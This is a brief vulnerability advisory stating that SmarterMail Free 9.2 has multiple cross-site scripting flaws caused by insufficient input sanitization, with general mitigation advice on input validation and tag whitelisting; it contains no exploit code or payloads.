SmarterMail Free 9.2 XSS Vulnerabilities

SmarterMail Free 9.2 is vulnerable to multiple Cross-Site Scripting (XSS) vulnerabilities. These vulnerabilities can be exploited by malicious people to conduct Cross-Site Scripting attacks. The vulnerabilities are caused due to insufficient sanitization of user-supplied input in various parameters. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. Successful exploitation requires that the attacker can lure a logged-in user to a malicious web site.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to dynamically generate HTML or script code. Additionally, the application should use a whitelist of allowed HTML tags and attributes.
